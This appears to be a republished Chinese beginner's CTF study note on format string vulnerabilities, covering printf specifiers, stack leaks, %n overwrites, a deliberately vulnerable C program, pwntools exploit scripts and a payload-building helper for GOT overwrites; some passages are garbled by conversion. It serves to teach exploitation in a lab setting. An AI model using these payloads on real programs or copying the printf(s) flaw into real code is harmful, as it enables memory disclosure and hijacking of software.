格式化字符串漏洞
初學(xué)pwn,學(xué)到了格式化字符串漏洞,總結(jié)一下。
格式化字符串函數(shù):格式化字符串函數(shù)就是將計算機內(nèi)存中表示的數(shù)據(jù)轉(zhuǎn)化為我們?nèi)祟惪勺x的字符串格式。
漏洞printf(s)
用 printf() 為例,它的第一個參數(shù)就是格式化字符串 :“Color %s,Number %d,Float %4.2f”
然后 printf 函數(shù)會根據(jù)這個格式化字符串來解析對應(yīng)的其他參數(shù)
%d - 十進制 - 輸出十進制整數(shù)
%s - 字符串 - 從內(nèi)存中讀取字符串
%x - 十六進制 - 輸出十六進制數(shù)
%c - 字符 - 輸出字符
%p - 指針 - 指針地址
%n - 到目前為止所寫的字符數(shù)
%hhn - 寫1字節(jié)
%hn - 寫2字節(jié)
%ln - 寫4個字節(jié)
%lln - 寫8字節(jié)
格式轉(zhuǎn)換
格式化字符串是由普通字符(包括%)和轉(zhuǎn)換規(guī)則構(gòu)成的字符序列。普通字符被原封不動地復(fù)制到輸出流中。轉(zhuǎn)換規(guī)則根據(jù)與實參對應(yīng)的轉(zhuǎn)換指示符對其進行轉(zhuǎn)換,然后將結(jié)果寫入到輸出流中。
轉(zhuǎn)換規(guī)則由可選的部分和必選部分組成。其中只有轉(zhuǎn)換指示符type是必選部分,用來表示轉(zhuǎn)換類型。
可選部分如下:
-
可選部分的 parameter比較特殊,他是一個POSIX擴展,不屬于C99,用于指定某個參數(shù),例如**%2$d**,表示輸出后面的第二個參數(shù)。
-
標(biāo)志(flags)用來調(diào)整輸出和打贏的符號,空白,小數(shù)點等。
-
寬度(width)用來指定輸出字符的最小個數(shù)。
-
精度(.precision)用來指示打印符號個數(shù),小數(shù)點位數(shù)或者有效數(shù)字個數(shù)。
-
長度(length)用來指定參數(shù)的大小。
%[parameter][flags][width][.precision][length]type
漏洞原理
格式化字符串漏洞從2000年左右開始流行起來,幾乎在各種軟件中都能見到它的身影,隨著技術(shù)的發(fā)展,軟件的安全性的提升,現(xiàn)在在PC段已經(jīng)比較少見了,但是在物聯(lián)網(wǎng)設(shè)備上依然層出不窮。2001年USENIX security會議上發(fā)表的文章為glibc提供了一個對抗格式化字符串漏洞的patch,通過靜態(tài)分析檢查參數(shù)個數(shù)與格式化字符串是否匹配。另一項安全機制FORTIFY_SOURCE也讓該漏洞的利用更加困難。
基本原理
在X86結(jié)構(gòu)下,格式化字符串的參數(shù)是通過棧傳遞的。
#include<stdio.h>
void main()
{
printf("%s %d %s","hello World",233,"\n");
}
.....................
0x565561f6 <main+41> lea edx, [eax - 0x1fce]
0x565561fc <main+47> push edx
0x565561fd <main+48> lea edx, [eax - 0x1fc2]
0x56556203 <main+54> push edx
0x56556204 <main+55> mov ebx, eax
? 0x56556206 <main+57> call printf@plt <printf@plt>
format: 0x56557016 ?— '%s %d %s'
vararg: 0x5655700a ?— 'hello World'
0x5655620b <main+62> add esp, 0x10
0x5655620e <main+65> nop
0x5655620f <main+66> lea esp, [ebp - 8]
0x56556212 <main+69> pop ecx
0x56556213 <main+70> pop ebx
..................
00:0000│ esp 0xffffcf40 —? 0x56557016 ?— '%s %d %s'
01:0004│ 0xffffcf44 —? 0x5655700a ?— 'hello World'
02:0008│ 0xffffcf48 ?— 0xe9
03:000c│ 0xffffcf4c —? 0x56557008 ?— 0x6568000a /* '\n' */
04:0010│ 0xffffcf50 —? 0xffffcf70 ?— 0x1
05:0014│ 0xffffcf54 ?— 0x0
06:0018│ ebp 0xffffcf58 ?— 0x0
07:001c│ 0xffffcf5c —? 0xf7ddfed5 (__libc_start_main+245) ?— add esp, 0x10
根據(jù)cdecl的調(diào)用約定,在進入printf函數(shù)之前,程序?qū)?shù)從右到左依次壓棧。進入printf()之后,函數(shù)首先獲取第一個參數(shù),一次讀取一個字符。如果字符不是“%”,那么字符被直接復(fù)制到輸出。否則,讀取下一個非空字符,獲取相應(yīng)的參數(shù)并解析輸出。
接下來我們修改上面的程序,給格式化字符串加上“%x %x %x %3$s",使它出現(xiàn)格式化字符串漏洞。
0x565561f6 <main+41> lea edx, [eax - 0x1fce]
0x565561fc <main+47> push edx
0x565561fd <main+48> lea edx, [eax - 0x1fc2]
0x56556203 <main+54> push edx
0x56556204 <main+55> mov ebx, eax
? 0x56556206 <main+57> call printf@plt <printf@plt>
format: 0x56557016 ?— '%x %x %x %3$s'
vararg: 0x5655700a ?— 'hello World'
0x5655620b <main+62> add esp, 0x10
0x5655620e <main+65> nop
0x5655620f <main+66> lea esp, [ebp - 8]
0x56556212 <main+69> pop ecx
0x56556213 <main+70> pop ebx
─────────────────────────────────────────────
1 #include<stdio.h>
2 void main()
3 {
? 4 printf("%x %x %x %3$s","hello World",233,"\n");
5
6 }
──────────────────────────────────────────────────
00:0000│ esp 0xffffcf40 —? 0x56557016 ?— '%x %x %x %3$s'
01:0004│ 0xffffcf44 —? 0x5655700a ?— 'hello World'
02:0008│ 0xffffcf48 ?— 0xe9
03:000c│ 0xffffcf4c —? 0x56557008 ?— 0x6568000a /* '\n' */
04:0010│ 0xffffcf50 —? 0xffffcf70 ?— 0x1
05:0014│ 0xffffcf54 ?— 0x0
06:0018│ ebp 0xffffcf58 ?— 0x0
07:001c│ 0xffffcf5c —? 0xf7ddfed5 (__libc_start_main+245) ?— add esp, 0x10
從反匯編代碼來看沒有任何區(qū)別。所以我們重點關(guān)注參數(shù)傳遞。程序打印出來了四個值,參數(shù)只有三個。
如果我們將程序里面的格式化字符省略,轉(zhuǎn)為由外部輸入。
1 #include<stdio.h>
2 void main()
3 {
char s[100];
scanf(s);
4 printf(s);
5
6 }
如果大家都正常輸入字符,程序不會有問題,但如果我們在s里面輸入一些轉(zhuǎn)換指示符。那么printf()會把它當(dāng)成格式化字符串解析,漏洞由此發(fā)生。
格式化字符串漏洞的發(fā)生條件就是格式化字符串要求的參數(shù)和實際上提供的參數(shù)不匹配。
漏洞利用原理
對于格式化字符串漏洞的利用主要有:使程序崩潰,棧數(shù)據(jù)泄露,任意地址內(nèi)存泄露,棧數(shù)據(jù)覆蓋,任意地址內(nèi)存覆蓋。
程序崩潰
這種攻擊方法最簡單,只需要輸入一串 %s 就可以
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
對于每一個 %s,printf() 都會從棧上取一個數(shù)字,把該數(shù)字視為地址,然后打印出該地址指向的內(nèi)存內(nèi)容,由于不可能獲取的每一個數(shù)字都是地址,所以數(shù)字對應(yīng)的內(nèi)容可能不存在,或者這個地址是被保護的,那么便會使程序崩潰
**在 Linux 中,存取無效的指針會引起進程收到 SIGSEGV (SIGSEGV分為SIG+SEGV。SIG是信號名的通用前綴;SEGV是segmentation violation(段違例)的縮寫。)**信號,從而使程序非正常終止并產(chǎn)生核心轉(zhuǎn)儲(產(chǎn)生錯誤報告)。
泄露內(nèi)存
通過%x將棧后面的參數(shù)給泄露出來。
%x會在棧上找臨近的一個參數(shù),根據(jù) 格式化字符串 給打印出來,這樣就把他后面一個棧上的值給輸出出來了。
但是上面的都是獲取臨近的內(nèi)容進行輸出,我們不可能只要這幾個東西,可以通過 %n$x 來獲取被視作第 n+1 個參數(shù)的值(格式化字符串是第一個參數(shù)).
另外也可以通過 %s 來獲取棧變量對應(yīng)的字符串。
小技巧:
利用 %x 來獲取對應(yīng)棧的內(nèi)存,但建議使用 %p,可以不用考慮位數(shù)的區(qū)別
利用 %s 來獲取變量所對應(yīng)地址的內(nèi)容,只不過有零截斷
利用 %n x 來 獲 取 指 定 參 數(shù) 的 值 , 利 用 x 來獲取指定參數(shù)的值,利用 %n x來獲取指定參數(shù)的值,利用s 來獲取指定參數(shù)對應(yīng)地址的內(nèi)容
泄露任意地址的內(nèi)存
攻擊者使用類似于“%s”的格式規(guī)范就可以泄露出參數(shù)(指針指向內(nèi)部存的數(shù)據(jù)),程序會將它作為一個ASCII字符串處理,直到遇到一個空字符。所以,如果攻擊者能夠操縱這個參數(shù)的值,那就可以泄露任意地址的內(nèi)容。
之前的方法還只是泄露棧上變量值,沒法泄露變量的地址,但是如果我們知道格式化字符串在輸出函數(shù)調(diào)用時是第幾個參數(shù),這里假設(shè)格式化字符串相對函數(shù)調(diào)用是第 k 個參數(shù),那我們就可以通過如下方法來獲取指定地址 addr 的內(nèi)容 addr%k$x
下面就是確定格式化字符串是第幾個參數(shù)了,一般可以通過 [tag]%p%p%p%p%p%p%p%p%p 來實現(xiàn),如果輸出的內(nèi)容跟我們前面的 tag 重復(fù)了,那就說明我們找到了,但是不排除棧上有些其他變量也是這個值,所以可以用一些其他的字符進行再次嘗試
當(dāng)然這也可以用 AAAA%4$p 來達到同樣的效果,通過這種方法,如果我們傳入的是 一個函數(shù)的 GOT 地址,那么他就可以給我們打印出來函數(shù)在內(nèi)存中的真實地址
使用 objdump -R fs1 查看一下 got 表
%s 是把地址指向的內(nèi)存內(nèi)容給打印出來,可以把 函數(shù)的地址給打印出來。
覆蓋棧內(nèi)存
%n,不輸出字符,但是把已經(jīng)成功輸入的字符個數(shù)寫入對應(yīng)的整型指針參數(shù)所指的變量,只要變量對應(yīng)的地址可寫,就可以利用格式化字符串來改變其對應(yīng)的值。
一般來說,利用分為以下的步驟:
-
確定覆蓋地址
-
確定相對偏移
-
進行覆蓋
源文件
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("a= %p b= %p c= %p\n",&a ,&b, &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}
關(guān)于覆蓋偏移的話可以通過測試得出來:
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-9cnuysRP-1649481385031)(C:\Users\Lenovo\AppData\Roaming\Typora\typora-user-images\image-20220213113952399.png)]
可以看到格式化字符是第6個參數(shù)。
那接下來,通過 %n 來進行覆蓋,c_addr+%012d+%6$n
c_addr 再加上 12 之后才能湊夠 16,這樣就可以把 c 改成 16。
%n可以將對應(yīng)參數(shù)地址存儲的值給改寫。
覆蓋任意地址內(nèi)存
覆蓋小數(shù)字
如果想要將一個地方改為一個較小的數(shù)字,只需要 %n 是 數(shù)字 就可以了,如果想改成 2,可以用 aa%k$n,但是有個問題,之前我們是把地址放在前面,加上地址(4或8字節(jié))之后就成了一個至少比 4 大的數(shù)
aa%k n x x , 如 果 用 這 樣 的 方 式 , 前 面 a a nxx,如果用這樣的方式,前面 aa%k 是第六個參數(shù), nxx,如果用這樣的方式,前面aanxx 是第七個參數(shù),后面在跟一個 我們想要修改的地址,那么這個地址就是第八個參數(shù),只需要把 k 改成 8 就可以把這第八個參數(shù)改成 2,aa%8$nxx。
from pwn import *
sh = process('./overwrite')
a_addr = 0x0804A024
payload = 'aa%8$naa' + p32(a_addr)
sh.sendline(payload)
print sh.recv()
sh.interactive()
這里掌握的小技巧:沒有必要把地址放在最前面,只需要找到它對應(yīng)的偏移就可以。
覆蓋大數(shù)字
變量在內(nèi)存中都是以字節(jié)的格式存儲的,在 x86、x64 中是按照小端存儲的,格式化字符串里面有兩個標(biāo)志用的上了:
h:對于整數(shù)類型,printf 期待一個從 short 提升的 int 尺寸的整型參數(shù)
hh:對于整型類型,printf 期待一個從 char 提升的 int 尺寸的整形參數(shù)
意思是說:hhn 寫入的就是單字節(jié),hn 寫入的就是雙字節(jié)。
from pwn import *
sh = process('./overwrite')
b_addr=0x0804A028
payload = p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
payload += '%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
sh.sendline(payload)
#sh.sendline(fmtstr_payload(6, {0x804A028:0x12345678}))
#pwntools帶著一個函數(shù),很方便
print sh.recv()
sh.interactive()
前面的那一串 p32(),每算是 4 字符,這樣到 %6$hhn 前面就是:16+104=120,也就是 0x78
再加上 222 就是 342,也就是 0x156,然后依次是:0x234、0x312,又因為 hh 是寫入單字節(jié)的,又是小端存儲,也就是只能取后邊兩個,所以連起來就是 0x12345678
ps:
對于格式化字符串漏洞的題可以用pwntools的工具fatstr_payload()來簡化構(gòu)造payload。
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一個參數(shù)表示格式化字符串的偏移;
第二個參數(shù)表示需要利用%n寫入的數(shù)據(jù),采用字典形式,我們要將printf的GOT數(shù)據(jù)改為system函數(shù)地址,就寫成{printfGOT:
systemAddress};本題是將0804a048處改為0x2223322
第三個參數(shù)表示已經(jīng)輸出的字符個數(shù),這里沒有,為0,采用默認(rèn)值即可;
第四個參數(shù)表示寫入方式,是按字節(jié)(byte)、按雙字節(jié)(short)還是按四字節(jié)(int),對應(yīng)著hhn、hn和n,默認(rèn)值是byte,即按hhn寫。
fmtstr_payload函數(shù)返回的就是payload
但是我們一般用的格式是
fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})
這是專門為32位格式化漏洞的函數(shù)。文章來源:http://www.zghlxwxcb.cn/news/detail-501596.html
下面是函數(shù)的源代碼:文章來源地址http://www.zghlxwxcb.cn/news/detail-501596.html
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
到了這里,關(guān)于格式化字符串漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!